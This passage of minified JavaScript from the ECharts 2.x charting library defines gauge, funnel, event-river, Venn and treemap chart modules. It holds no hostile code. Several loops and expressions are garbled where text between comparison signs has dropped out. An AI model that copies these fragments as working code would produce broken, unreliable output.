i,n,a=t.min,o=t.max-a,r=this._paramsMap[e],s=r.center,l=r.startAngle,h=r.totalAngle,V=r.colorArray,U=t.axisLine.lineStyle,d=this.parsePercent(U.width,r.radius[1]),p=r.radius[1],c=p-d,u=l,y=0,g=V.length;g>y;y++)n=l-h*(V[y][0]-a)/o,i=this._getSector(s,c,p,n,u,V[y][1],U,t.zlevel,t.z),u=n,i._animationAdd="r",m.set(i,"seriesIndex",e),m.set(i,"dataIndex",y),this.shapeList.push(i)},_buildSplitLine:function(e){var t=this.series[e];if(t.splitLine.show)for(var i,n,a,r=this._paramsMap[e],s=t.splitNumber,l=t.min,h=t.max-l,m=t.splitLine,V=this.parsePercent(m.length,r.radius[1]),U=m.lineStyle,d=U.color,p=r.center,c=r.startAngle*Math.PI/180,u=r.totalAngle*Math.PI/180,y=r.radius[1],g=y-V,b=0;s>=b;b++)i=c-u/s*b,n=Math.sin(i),a=Math.cos(i),this.shapeList.push(new o({zlevel:t.zlevel,z:t.z+1,hoverable:!1,style:{xStart:p[0]+a*y,yStart:p[1]-n*y,xEnd:p[0]+a*g,yEnd:p[1]-n*g,strokeColor:"auto"===d?this._getColor(e,l+h/s*b):d,lineType:U.type,lineWidth:U.width,shadowColor:U.shadowColor,shadowBlur:U.shadowBlur,shadowOffsetX:U.shadowOffsetX,shadowOffsetY:U.shadowOffsetY}}))},_buildAxisTick:function(e){var t=this.series[e];if(t.axisTick.show)for(var i,n,a,r=this._paramsMap[e],s=t.splitNumber,l=t.min,h=t.max-l,m=t.axisTick,V=m.splitNumber,U=this.parsePercent(m.length,r.radius[1]),d=m.lineStyle,p=d.color,c=r.center,u=r.startAngle*Math.PI/180,y=r.totalAngle*Math.PI/180,g=r.radius[1],b=g-U,f=0,k=s*V;k>=f;f++)f%V!==0&&(i=u-y/k*f,n=Math.sin(i),a=Math.cos(i),this.shapeList.push(new o({zlevel:t.zlevel,z:t.z+1,hoverable:!1,style:{xStart:c[0]+a*g,yStart:c[1]-n*g,xEnd:c[0]+a*b,yEnd:c[1]-n*b,strokeColor:"auto"===p?this._getColor(e,l+h/k*f):p,lineType:d.type,lineWidth:d.width,shadowColor:d.shadowColor,shadowBlur:d.shadowBlur,shadowOffsetX:d.shadowOffsetX,shadowOffsetY:d.shadowOffsetY}})))},_buildAxisLabel:function(e){var t=this.series[e];if(t.axisLabel.show)for(var i,n,o,r,s=t.splitNumber,l=t.min,h=t.max-l,m=t.axisLabel.textStyle,U=this.getFont(m),d=m.color,p=this._paramsMap[e],c=p.center,u=p.startAngle,y=p.totalAngle,g=p.radius[1]-this.parsePercent(t.splitLine.length,p.radius[1])-5,b=0;s>=b;b++)r=V.accAdd(l,V.accMul(V.accDiv(h,s),b)),i=u-y/s*b,n=Math.sin(i*Math.PI/180),o=Math.cos(i*Math.PI/180),i=(i+360)%360,this.shapeList.push(new a({zlevel:t.zlevel,z:t.z+1,hoverable:!1,style:{x:c[0]+o*g,y:c[1]-n*g,color:"auto"===d?this._getColor(e,r):d,text:this._getLabelText(t.axisLabel.formatter,r),textAlign:i>=110&&250>=i?"left":70>=i||i>=290?"right":"center",textBaseline:i>=10&&170>=i?"top":i>=190&&350>=i?"bottom":"middle",textFont:U,shadowColor:m.shadowColor,shadowBlur:m.shadowBlur,shadowOffsetX:m.shadowOffsetX,shadowOffsetY:m.shadowOffsetY}}))},_buildPointer:function(e){var t=this.series[e];if(t.pointer.show){var i=t.max-t.min,a=t.pointer,o=this._paramsMap[e],r=this.parsePercent(a.length,o.radius[1]),l=this.parsePercent(a.width,o.radius[1]),h=o.center,V=this._getValue(e);V=V2?2:l/2,color:"#fff"}});m.pack(p,this.series[e],e,this.series[e].data[0],0,this.series[e].data[0].name,V),this.shapeList.push(p),this.shapeList.push(new s({zlevel:t.zlevel,z:t.z+2,hoverable:!1,style:{x:h[0],y:h[1],r:a.width/2.5,color:"#fff"}}))}},_buildTitle:function(e){var t=this.series[e];if(t.title.show){var i=t.data[0],n=null!=i.name?i.name:"";if(""!==n){var o=t.title,r=o.offsetCenter,s=o.textStyle,l=s.color,h=this._paramsMap[e],m=h.center[0]+this.parsePercent(r[0],h.radius[1]),V=h.center[1]+this.parsePercent(r[1],h.radius[1]);this.shapeList.push(new a({zlevel:t.zlevel,z:t.z+(Math.abs(m-h.center[0])+Math.abs(V-h.center[1])<2*s.fontSize?2:1),hoverable:!1,style:{x:m,y:V,color:"auto"===l?this._getColor(e):l,text:n,textAlign:"center",textFont:this.getFont(s),shadowColor:s.shadowColor,shadowBlur:s.shadowBlur,shadowOffsetX:s.shadowOffsetX,shadowOffsetY:s.shadowOffsetY}}))}}},_buildDetail:function(e){var t=this.series[e];if(t.detail.show){var i=t.detail,n=i.offsetCenter,a=i.backgroundColor,o=i.textStyle,s=o.color,l=this._paramsMap[e],h=this._getValue(e),m=l.center[0]-i.width/2+this.parsePercent(n[0],l.radius[1]),V=l.center[1]+this.parsePercent(n[1],l.radius[1]);this.shapeList.push(new r({zlevel:t.zlevel,z:t.z+(Math.abs(m+i.width/2-l.center[0])+Math.abs(V+i.height/2-l.center[1])r;r++)o.push([a[r][0]*n+i,a[r][1]]);this._paramsMap[e].colorArray=o},_getColor:function(e,t){null==t&&(t=this._getValue(e));for(var i=this._paramsMap[e].colorArray,n=0,a=i.length;a>n;n++)if(i[n][0]>=t)return i[n][1];return i[i.length-1][1]},_getSector:function(e,t,i,n,a,o,r,s,h){return new l({zlevel:s,z:h,hoverable:!1,style:{x:e[0],y:e[1],r0:t,r:i,startAngle:n,endAngle:a,brushType:"fill",color:o,shadowColor:r.shadowColor,shadowBlur:r.shadowBlur,shadowOffsetX:r.shadowOffsetX,shadowOffsetY:r.shadowOffsetY}})},_getLabelText:function(e,t){if(e){if("function"==typeof e)return e.call(this.myChart,t);if("string"==typeof e)return e.replace("{value}",t)}return t},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()}},U.inherits(t,i),e("../chart").define("gauge",t),t}),i("echarts/util/shape/GaugePointer",["require","zrender/shape/Base","zrender/tool/util","./normalIsCover"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/tool/util");return t.prototype={type:"gauge-pointer",buildPath:function(e,t){var i=t.r,n=t.width,a=t.angle,o=t.x-Math.cos(a)*n*(n>=i/3?1:2),r=t.y+Math.sin(a)*n*(n>=i/3?1:2);a=t.angle-Math.PI/2,e.moveTo(o,r),e.lineTo(t.x+Math.cos(a)*n,t.y-Math.sin(a)*n),e.lineTo(t.x+Math.cos(t.angle)*i,t.y-Math.sin(t.angle)*i),e.lineTo(t.x-Math.cos(a)*n,t.y+Math.sin(a)*n),e.lineTo(o,r)},getRect:function(e){if(e.__rect)return e.__rect;var t=2*e.width,i=e.x,n=e.y,a=i+Math.cos(e.angle)*e.r,o=n-Math.sin(e.angle)*e.r;return e.__rect={x:Math.min(i,a)-t,y:Math.min(n,o)-t,width:Math.abs(i-a)+t,height:Math.abs(n-o)+t},e.__rect},isCover:e("./normalIsCover")},n.inherits(t,i),t}),i("echarts/chart/funnel",["require","./base","zrender/shape/Text","zrender/shape/Line","zrender/shape/Polygon","../config","../util/ecData","../util/number","zrender/tool/util","zrender/tool/color","zrender/tool/area","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Line"),o=e("zrender/shape/Polygon"),r=e("../config");r.funnel={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,x:80,y:60,x2:80,y2:60,min:0,max:100,minSize:"0%",maxSize:"100%",sort:"descending",gap:0,funnelAlign:"center",itemStyle:{normal:{borderColor:"#fff",borderWidth:1,label:{show:!0,position:"outer"},labelLine:{show:!0,length:10,lineStyle:{width:1,type:"solid"}}},emphasis:{borderColor:"rgba(0,0,0,0)",borderWidth:1,label:{show:!0},labelLine:{show:!0}}}};var s=e("../util/ecData"),l=e("../util/number"),h=e("zrender/tool/util"),m=e("zrender/tool/color"),V=e("zrender/tool/area");return t.prototype={type:r.CHART_TYPE_FUNNEL,_buildShape:function(){var e=this.series,t=this.component.legend;this._paramsMap={},this._selected={},this.selectedMap={};for(var i,n=0,a=e.length;a>n;n++)if(e[n].type===r.CHART_TYPE_FUNNEL){if(e[n]=this.reformOption(e[n]),this.legendHoverLink=e[n].legendHoverLink||this.legendHoverLink,i=e[n].name||"",this.selectedMap[i]=t?t.isSelected(i):!0,!this.selectedMap[i])continue;this._buildSingleFunnel(n),this.buildMark(n)}this.addShapeList()},_buildSingleFunnel:function(e){var t=this.component.legend,i=this.series[e],n=this._mapData(e),a=this._getLocation(e);this._paramsMap[e]={location:a,data:n};for(var o,r=0,s=[],h=0,m=n.length;m>h;h++)o=n[h].name,this.selectedMap[o]=t?t.isSelected(o):!0,this.selectedMap[o]&&!isNaN(n[h].value)&&(s.push(n[h]),r++);if(0!==r){for(var V,U,d,p,c=this._buildFunnelCase(e),u=i.funnelAlign,y=i.gap,g=r>1?(a.height-(r-1)*y)/r:a.height,b=a.y,f="descending"===i.sort?this._getItemWidth(e,s[0].value):l.parsePercent(i.minSize,a.width),k="descending"===i.sort?1:0,x=a.centerX,_=[],h=0,m=s.length;m>h;h++)if(o=s[h].name,this.selectedMap[o]&&!isNaN(s[h].value)){switch(V=m-2>=h?this._getItemWidth(e,s[h+k].value):"descending"===i.sort?l.parsePercent(i.minSize,a.width):l.parsePercent(i.maxSize,a.width),u){case"left":U=a.x;break;case"right":U=a.x+a.width-f;break;default:U=x-f/2}d=this._buildItem(e,s[h]._index,t?t.getColor(o):this.zr.getColor(s[h]._index),U,b,f,V,g,u),b+=g+y,p=d.style.pointList,_.unshift([p[0][0]-10,p[0][1]]),_.push([p[1][0]+10,p[1][1]]),0===h&&(0===f?(p=_.pop(),"center"==u&&(_[0][0]+=10),"right"==u&&(_[0][0]=p[0]),_[0][1]-="center"==u?10:15,1==m&&(p=d.style.pointList)):(_[_.length-1][1]-=5,_[0][1]-=5)),f=V}c&&(_.unshift([p[3][0]-10,p[3][1]]),_.push([p[2][0]+10,p[2][1]]),0===f?(p=_.pop(),"center"==u&&(_[0][0]+=10),"right"==u&&(_[0][0]=p[0]),_[0][1]+="center"==u?10:15):(_[_.length-1][1]+=5,_[0][1]+=5),c.style.pointList=_)}},_buildFunnelCase:function(e){var t=this.series[e];if(this.deepQuery([t,this.option],"calculable")){var i=this._paramsMap[e].location,n=10,a={hoverable:!1,style:{pointListd:[[i.x-n,i.y-n],[i.x+i.width+n,i.y-n],[i.x+i.width+n,i.y+i.height+n],[i.x-n,i.y+i.height+n]],brushType:"stroke",lineWidth:1,strokeColor:t.calculableHolderColor||this.ecTheme.calculableHolderColor||r.calculableHolderColor}};return s.pack(a,t,e,void 0,-1),this.setCalculable(a),a=new o(a),this.shapeList.push(a),a}},_getLocation:function(e){var t=this.series[e],i=this.zr.getWidth(),n=this.zr.getHeight(),a=this.parsePercent(t.x,i),o=this.parsePercent(t.y,n),r=null==t.width?i-a-this.parsePercent(t.x2,i):this.parsePercent(t.width,i);return{x:a,y:o,width:r,height:null==t.height?n-o-this.parsePercent(t.y2,n):this.parsePercent(t.height,n),centerX:a+r/2}},_mapData:function(e){function t(e,t){return"-"===e.value?1:"-"===t.value?-1:t.value-e.value}function i(e,i){return-t(e,i)}for(var n=this.series[e],a=h.clone(n.data),o=0,r=a.length;r>o;o++)a[o]._index=o;return"none"!=n.sort&&a.sort("descending"===n.sort?t:i),a},_buildItem:function(e,t,i,n,a,o,r,l,h){var m=this.series,V=m[e],U=V.data[t],d=this.getPolygon(e,t,i,n,a,o,r,l,h);s.pack(d,m[e],e,m[e].data[t],t,m[e].data[t].name),this.shapeList.push(d);var p=this.getLabel(e,t,i,n,a,o,r,l,h);s.pack(p,m[e],e,m[e].data[t],t,m[e].data[t].name),this.shapeList.push(p),this._needLabel(V,U,!1)||(p.invisible=!0);var c=this.getLabelLine(e,t,i,n,a,o,r,l,h);this.shapeList.push(c),this._needLabelLine(V,U,!1)||(c.invisible=!0);var u=[],y=[];return this._needLabelLine(V,U,!0)&&(u.push(c.id),y.push(c.id)),this._needLabel(V,U,!0)&&(u.push(p.id),y.push(d.id)),d.hoverConnect=u,p.hoverConnect=y,d},_getItemWidth:function(e,t){var i=this.series[e],n=this._paramsMap[e].location,a=i.min,o=i.max,r=l.parsePercent(i.minSize,n.width),s=l.parsePercent(i.maxSize,n.width);return(t-a)*(s-r)/(o-a)+r},getPolygon:function(e,t,i,n,a,r,s,l,h){var V,U=this.series[e],d=U.data[t],p=[d,U],c=this.deepMerge(p,"itemStyle.normal")||{},u=this.deepMerge(p,"itemStyle.emphasis")||{},y=this.getItemStyleColor(c.color,e,t,d)||i,g=this.getItemStyleColor(u.color,e,t,d)||("string"==typeof y?m.lift(y,-.2):y);switch(h){case"left":V=n;break;case"right":V=n+(r-s);break;default:V=n+(r-s)/2}var b={zlevel:U.zlevel,z:U.z,clickable:this.deepQuery(p,"clickable"),style:{pointList:[[n,a],[n+r,a],[V+s,a+l],[V,a+l]],brushType:"both",color:y,lineWidth:c.borderWidth,strokeColor:c.borderColor},highlightStyle:{color:g,lineWidth:u.borderWidth,strokeColor:u.borderColor}};return this.deepQuery([d,U,this.option],"calculable")&&(this.setCalculable(b),b.draggable=!0),new o(b)},getLabel:function(e,t,i,a,o,r,s,l,U){var d,p=this.series[e],c=p.data[t],u=this._paramsMap[e].location,y=h.merge(h.clone(c.itemStyle)||{},p.itemStyle),g="normal",b=y[g].label,f=b.textStyle||{},k=y[g].labelLine.length,x=this.getLabelText(e,t,g),_=this.getFont(f),L=i;b.position=b.position||y.normal.label.position,"inner"===b.position||"inside"===b.position||"center"===b.position?(d=U,L=Math.max(r,s)/2>V.getTextWidth(x,_)?"#fff":m.reverse(i)):d="left"===b.position?"right":"left";var W={zlevel:p.zlevel,z:p.z+1,style:{x:this._getLabelPoint(b.position,a,u,r,s,k,U),y:o+l/2,color:f.color||L,text:x,textAlign:f.align||d,textBaseline:f.baseline||"middle",textFont:_}};return g="emphasis",b=y[g].label||b,f=b.textStyle||f,k=y[g].labelLine.length||k,b.position=b.position||y.normal.label.position,x=this.getLabelText(e,t,g),_=this.getFont(f),L=i,"inner"===b.position||"inside"===b.position||"center"===b.position?(d=U,L=Math.max(r,s)/2>V.getTextWidth(x,_)?"#fff":m.reverse(i)):d="left"===b.position?"right":"left",W.highlightStyle={x:this._getLabelPoint(b.position,a,u,r,s,k,U),color:f.color||L,text:x,textAlign:f.align||d,textFont:_,brushType:"fill"},new n(W)},getLabelText:function(e,t,i){var n=this.series,a=n[e],o=a.data[t],r=this.deepQuery([o,a],"itemStyle."+i+".label.formatter");return r?"function"==typeof r?r.call(this.myChart,{seriesIndex:e,seriesName:a.name||"",series:a,dataIndex:t,data:o,name:o.name,value:o.value}):"string"==typeof r?r=r.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}").replace("{a0}",a.name).replace("{b0}",o.name).replace("{c0}",o.value):void 0:o.name},getLabelLine:function(e,t,i,n,o,r,s,l,m){var V=this.series[e],U=V.data[t],d=this._paramsMap[e].location,p=h.merge(h.clone(U.itemStyle)||{},V.itemStyle),c="normal",u=p[c].labelLine,y=p[c].labelLine.length,g=u.lineStyle||{},b=p[c].label;b.position=b.position||p.normal.label.position;var f={zlevel:V.zlevel,z:V.z+1,hoverable:!1,style:{xStart:this._getLabelLineStartPoint(n,d,r,s,m),yStart:o+l/2,xEnd:this._getLabelPoint(b.position,n,d,r,s,y,m),yEnd:o+l/2,strokeColor:g.color||i,lineType:g.type,lineWidth:g.width}};return c="emphasis",u=p[c].labelLine||u,y=p[c].labelLine.length||y,g=u.lineStyle||g,b=p[c].label||b,b.position=b.position,f.highlightStyle={xEnd:this._getLabelPoint(b.position,n,d,r,s,y,m),strokeColor:g.color||i,lineType:g.type,lineWidth:g.width},new a(f)},_getLabelPoint:function(e,t,i,n,a,o,r){switch(e="inner"===e||"inside"===e?"center":e){case"center":return"center"==r?t+n/2:"left"==r?t+10:t+n-10;case"left":return"auto"===o?i.x-10:"center"==r?i.centerX-Math.max(n,a)/2-o:"right"==r?t-(a>n?a-n:0)-o:i.x-o;default:return"auto"===o?i.x+i.width+10:"center"==r?i.centerX+Math.max(n,a)/2+o:"right"==r?i.x+i.width+o:t+Math.max(n,a)+o}},_getLabelLineStartPoint:function(e,t,i,n,a){return"center"==a?t.centerX:n>i?e+Math.min(i,n)/2:e+Math.max(i,n)/2},_needLabel:function(e,t,i){return this.deepQuery([t,e],"itemStyle."+(i?"emphasis":"normal")+".label.show")},_needLabelLine:function(e,t,i){return this.deepQuery([t,e],"itemStyle."+(i?"emphasis":"normal")+".labelLine.show")},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()}},h.inherits(t,i),e("../chart").define("funnel",t),t}),i("echarts/chart/eventRiver",["require","./base","../layout/eventRiver","zrender/shape/Polygon","../component/axis","../component/grid","../component/dataZoom","../config","../util/ecData","../util/date","zrender/tool/util","zrender/tool/color","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o);var r=this;r._ondragend=function(){r.isDragend=!0},this.refresh(a)}var i=e("./base"),n=e("../layout/eventRiver"),a=e("zrender/shape/Polygon");e("../component/axis"),e("../component/grid"),e("../component/dataZoom");var o=e("../config");o.eventRiver={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,itemStyle:{normal:{borderColor:"rgba(0,0,0,0)",borderWidth:1,label:{show:!0,position:"inside",formatter:"{b}"}},emphasis:{borderColor:"rgba(0,0,0,0)",borderWidth:1,label:{show:!0}}}};var r=e("../util/ecData"),s=e("../util/date"),l=e("zrender/tool/util"),h=e("zrender/tool/color");return t.prototype={type:o.CHART_TYPE_EVENTRIVER,_buildShape:function(){var e=this.series;this.selectedMap={},this._dataPreprocessing();for(var t=this.component.legend,i=[],a=0;an;n++)if(i[n].type===this.type){e=this.component.xAxis.getAxis(i[n].xAxisIndex||0);for(var o=0,r=i[n].data.length;r>o;o++){t=i[n].data[o].evolution;for(var l=0,h=t.length;h>l;l++)t[l].timeScale=e.getCoord(s.getNewDate(t[l].time)-0),t[l].valueScale=Math.pow(t[l].value,.8)}}this._intervalX=Math.round(this.component.grid.getWidth()/40)},_drawEventRiver:function(){for(var e=this.series,t=0;ta)){for(var o=[],r=[],s=0;a>s;s++)o.push(n[s].timeScale),r.push(n[s].valueScale);var l=[];l.push([o[0],i]);var s=0;for(s=0;a-1>s;s++)l.push([(o[s]+o[s+1])/2,r[s]/-2+i]);for(l.push([(o[s]+(o[s]+t))/2,r[s]/-2+i]),l.push([o[s]+t,i]),l.push([(o[s]+(o[s]+t))/2,r[s]/2+i]),s=a-1;s>0;s--)l.push([(o[s]+o[s-1])/2,r[s-1]/2+i]);return l}},ondragend:function(e,t){this.isDragend&&e.target&&(t.dragOut=!0,t.dragIn=!0,t.needRefresh=!1,this.isDragend=!1)},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()}},l.inherits(t,i),e("../chart").define("eventRiver",t),t}),i("echarts/layout/eventRiver",["require"],function(){function e(e,i,o){function r(e,t){var i=e.importance,n=t.importance;return i>n?-1:n>i?1:0}for(var s=4,l=0;l=e)return[0];for(var t=[];e--;)t.push(0);return t}(),u=c.slice(0),y=[],g=0,b=0,l=0;l.5?.5:1,r=t.y,s=(t.height-n)/i,l=0,h=e.length;h>l;l++){var m=e[l];m.y=r+s*m.y+m._offset*o,delete m.time,delete m.value,delete m.xpx,delete m.ypx,delete m._offset;for(var V=m.evolution,U=0,d=V.length;d>U;U++)V[U].valueScale*=s}}function i(e,t,i,n){if(e===i)throw new Error("x0 is equal with x1!!!");if(t===n)return function(){return t};var a=(t-n)/(e-i),o=(n*e-t*i)/(e-i);return function(e){return a*e+o}}function n(e,t,n){var a=~~t,o=e.time.length;e.xpx=[],e.ypx=[];for(var r,s=0,l=0,h=0,m=0,V=0;o>s;s++){l=~~e.time[s],m=e.value[s]/2,s===o-1?(h=l+a,V=0):(h=~~e.time[s+1],V=e.value[s+1]/2),r=i(l,m,h,V);for(var U=l;h>U;U++)e.xpx.push(U-n),e.ypx.push(r(U))}e.xpx.push(h-n),e.ypx.push(V)}function a(e,t,i){for(var n,a=0,o=t.xpx.length,r=0;o>r;r++)n=i(t,r),a=Math.max(a,n+e[t.xpx[r]]);for(r=0;o>r;r++)n=i(t,r),e[t.xpx[r]]=a+n;return a}return e}),i("echarts/chart/venn",["require","./base","zrender/shape/Text","zrender/shape/Circle","zrender/shape/Path","../config","../util/ecData","zrender/tool/util","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Circle"),o=e("zrender/shape/Path"),r=e("../config");r.venn={zlevel:0,z:1,calculable:!1};var s=e("../util/ecData"),l=e("zrender/tool/util");return t.prototype={type:r.CHART_TYPE_VENN,_buildShape:function(){this.selectedMap={},this._symbol=this.option.symbolList,this._queryTarget,this._dropBoxList=[],this._vennDataCounter=0;for(var e=this.series,t=this.component.legend,i=0;ia[1].value?(t=this.zr.getHeight()/3,i=t*Math.sqrt(a[1].value)/Math.sqrt(a[0].value)):(i=this.zr.getHeight()/3,t=i*Math.sqrt(a[0].value)/Math.sqrt(a[1].value));var o=this.zr.getWidth()/2-t,r=(t+i)/2*Math.sqrt(a[2].value)/Math.sqrt((a[0].value+a[1].value)/2),s=t+i;0!==a[2].value&&(s=this._getCoincideLength(a[0].value,a[1].value,a[2].value,t,i,r,Math.abs(t-i),t+i));var l=o+s,h=this.zr.getHeight()/2;if(this._buildItem(e,0,a[0],o,h,t),this._buildItem(e,1,a[1],l,h,i),0!==a[2].value&&a[2].value!==a[0].value&&a[2].value!==a[1].value){var m=(t*t-i*i)/(2*s)+s/2,V=s/2-(t*t-i*i)/(2*s),U=Math.sqrt(t*t-m*m),d=0,p=0;a[0].value>a[1].value&&o+m>l&&(p=1),a[0].valuel&&(d=1),this._buildCoincideItem(e,2,a[2],o+m,h-U,h+U,t,i,d,p)}},_getCoincideLength:function(e,t,i,n,a,o,r,s){var l=(n*n-a*a)/(2*o)+o/2,h=o/2-(n*n-a*a)/(2*o),m=Math.acos(l/n),V=Math.acos(h/a),U=n*n*Math.PI,d=m*n*n-l*n*Math.sin(m)+V*a*a-h*a*Math.sin(V),p=d/U,c=i/e,u=Math.abs(p/c);return u>.999&&1.001>u?o:.999>=u?(s=o,o=(o+r)/2,this._getCoincideLength(e,t,i,n,a,o,r,s)):(r=o,o=(o+s)/2,this._getCoincideLength(e,t,i,n,a,o,r,s))},_buildItem:function(e,t,i,n,a,o){var r=this.series,l=r[e],h=this.getCircle(e,t,i,n,a,o);if(s.pack(h,l,e,i,t,i.name),this.shapeList.push(h),l.itemStyle.normal.label.show){var m=this.getLabel(e,t,i,n,a,o);s.pack(m,l,e,l.data[t],t,l.data[t].name),this.shapeList.push(m)}},_buildCoincideItem:function(e,t,i,n,a,r,l,h,m,V){var U=this.series,d=U[e],p=[i,d],c=this.deepMerge(p,"itemStyle.normal")||{},u=this.deepMerge(p,"itemStyle.emphasis")||{},y=c.color||this.zr.getColor(t),g=u.color||this.zr.getColor(t),b="M"+n+","+a+"A"+l+","+l+",0,"+m+",1,"+n+","+r+"A"+h+","+h+",0,"+V+",1,"+n+","+a,f={color:y,path:b},k={zlevel:d.zlevel,z:d.z,style:f,highlightStyle:{color:g,lineWidth:u.borderWidth,strokeColor:u.borderColor}};k=new o(k),k.buildPathArray&&(k.style.pathArray=k.buildPathArray(f.path)),s.pack(k,U[e],0,i,t,i.name),this.shapeList.push(k)},getCircle:function(e,t,i,n,o,r){var s=this.series[e],l=[i,s],h=this.deepMerge(l,"itemStyle.normal")||{},m=this.deepMerge(l,"itemStyle.emphasis")||{},V=h.color||this.zr.getColor(t),U=m.color||this.zr.getColor(t),d={zlevel:s.zlevel,z:s.z,clickable:!0,style:{x:n,y:o,r:r,brushType:"fill",opacity:1,color:V},highlightStyle:{color:U,lineWidth:m.borderWidth,strokeColor:m.borderColor}};return this.deepQuery([i,s,this.option],"calculable")&&(this.setCalculable(d),d.draggable=!0),new a(d)},getLabel:function(e,t,i,a,o,r){var s=this.series[e],l=s.itemStyle,h=[i,s],m=this.deepMerge(h,"itemStyle.normal")||{},V="normal",U=l[V].label,d=U.textStyle||{},p=this.getLabelText(t,i,V),c=this.getFont(d),u=m.color||this.zr.getColor(t),y=d.fontSize||12,g={zlevel:s.zlevel,z:s.z,style:{x:a,y:o-r-y,color:d.color||u,text:p,textFont:c,textAlign:"center"}};return new n(g)},getLabelText:function(e,t,i){var n=this.series,a=n[0],o=this.deepQuery([t,a],"itemStyle."+i+".label.formatter");return o?"function"==typeof o?o(a.name,t.name,t.value):"string"==typeof o?(o=o.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}"),o=o.replace("{a0}",a.name).replace("{b0}",t.name).replace("{c0}",t.value)):void 0:t.name},refresh:function(e){e&&(this.option=e,this.series=e.series),this._buildShape()}},l.inherits(t,i),e("../chart").define("venn",t),t}),i("echarts/chart/treemap",["require","./base","zrender/tool/area","zrender/shape/Rectangle","zrender/shape/Text","zrender/shape/Line","../layout/TreeMap","../data/Tree","../config","../util/ecData","zrender/config","zrender/tool/event","zrender/tool/util","zrender/tool/color","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a);var r=this;r._onclick=function(e){return r.__onclick(e)},r.zr.on(V.EVENT.CLICK,r._onclick)}var i=e("./base"),n=e("zrender/tool/area"),a=e("zrender/shape/Rectangle"),o=e("zrender/shape/Text"),r=e("zrender/shape/Line"),s=e("../layout/TreeMap"),l=e("../data/Tree"),h=e("../config");h.treemap={zlevel:0,z:1,calculable:!1,clickable:!0,center:["50%","50%"],size:["80%","80%"],root:"",itemStyle:{normal:{label:{ +show:!0,x:5,y:12,textStyle:{align:"left",color:"#000",fontFamily:"Arial",fontSize:13,fontStyle:"normal",fontWeight:"normal"}},breadcrumb:{show:!0,textStyle:{}},borderWidth:1,borderColor:"#ccc",childBorderWidth:1,childBorderColor:"#ccc"},emphasis:{}}};var m=e("../util/ecData"),V=e("zrender/config"),U=(e("zrender/tool/event"),e("zrender/tool/util")),d=e("zrender/tool/color");return t.prototype={type:h.CHART_TYPE_TREEMAP,refresh:function(e){this.clear(),e&&(this.option=e,this.series=this.option.series),this._treesMap={};for(var t=this.series,i=this.component.legend,n=0;nt.width||e.normal.label.y+U>t.height)&&(h=""):h="",e.emphasis.label.show?(s.x+u>t.width||s.y+y>t.height)&&(p=""):p="";var g={style:{textX:t.x+e.normal.label.x,textY:t.y+e.normal.label.y,text:h,textPosition:"specific",textColor:o.color,textFont:m},highlightStyle:{textX:t.x+e.emphasis.label.x,textY:t.y+e.emphasis.label.y,text:p,textColor:s.color,textPosition:"specific"}};return g},getLabelText:function(e,t,i){return i?"function"==typeof i?i.call(this.myChart,e,t):"string"==typeof i?(i=i.replace("{b}","{b0}").replace("{c}","{c0}"),i=i.replace("{b0}",e).replace("{c0}",t)):void 0:e},_buildChildrenTreemap:function(e,t,i,n){for(var a=i.width*i.height,o=0,r=[],l=0;l ":"")},V),clickable:!0,highlightStyle:p});m.set(u,"seriesIndex",t),m.set(u,"name",a[c]),i+=u.getRect(u.style).width,this.shapeList.push(u)}},__onclick:function(e){var t=e.target;if(t){var i=m.get(t,"seriesIndex"),n=m.get(t,"name"),a=this._treesMap[i],o=a.getNodeById(n);o&&o.children.length&&this._buildTreemap(o,i)}}},U.inherits(t,i),e("../chart").define("treemap",t),t}),i("echarts/layout/TreeMap",["require"],function(){function e(e){({x:e.x,y:e.y,width:e.width,height:e.height});this.x=e.x,this.y=e.y,this.width=e.width,this.height=e.height}return e.prototype.run=function(e){var t=[];return this._squarify(e,{x:this.x,y:this.y,width:this.width,height:this.height},t),t},e.prototype._squarify=function(e,t,i){var n="VERTICAL",a=t.width,o=t.height;t.widthl;l++)r[s].y+=r[l].height}var h={};if("VERTICAL"==n){for(var m=0;ml;l++){var h=i*e[l]/o;a.push({width:s,height:h})}return a},e.prototype._isFirstBetter=function(e,t){var i=e[0].height/e[0].width;i=i>1?1/i:i;var n=t[0].height/t[0].width;return n=n>1?1/n:n,Math.abs(i-1)<=Math.abs(n-1)?!0:!1},e}),i("echarts/data/Tree",["require","zrender/tool/util"],function(e){function t(e,t){this.id=e,this.depth=0,this.height=0,this.children=[],this.parent=null,this.data=t||null}function i(e){this.root=new t(e)}var n=e("zrender/tool/util");return t.prototype.add=function(e){var t=this.children;e.parent!==this&&(t.push(e),e.parent=this)},t.prototype.remove=function(e){var t=this.children,i=n.indexOf(t,e);i>=0&&(t.splice(i,1),e.parent=null)},t.prototype.traverse=function(e,t){e.call(t,this);for(var i=0;it&&(t=n.height)}this.height=t+1},t.prototype.getNodeById=function(e){if(this.id===e)return this;for(var t=0;t0&&this._buildLink(i,e)},this);var n=e.roam===!0||"move"===e.roam,a=e.roam===!0||"scale"===e.roam;this.zr.modLayer(this.getZlevelBase(),{panable:n,zoomable:a}),(this.query("markPoint.effect.show")||this.query("markLine.effect.show"))&&this.zr.modLayer(m.EFFECT_ZLEVEL,{panable:n,zoomable:a}),this.addShapeList()},_buildItem:function(e,t,i){var n=[e.data,t],r=this.deepQuery(n,"symbol"),s=this.deepMerge(n,"itemStyle.normal")||{},l=this.deepMerge(n,"itemStyle.emphasis")||{},h=s.color||this.zr.getColor(),m=l.color||this.zr.getColor(),U=-e.layout.angle||0;e.id===this.tree.root.id&&(U=0);var 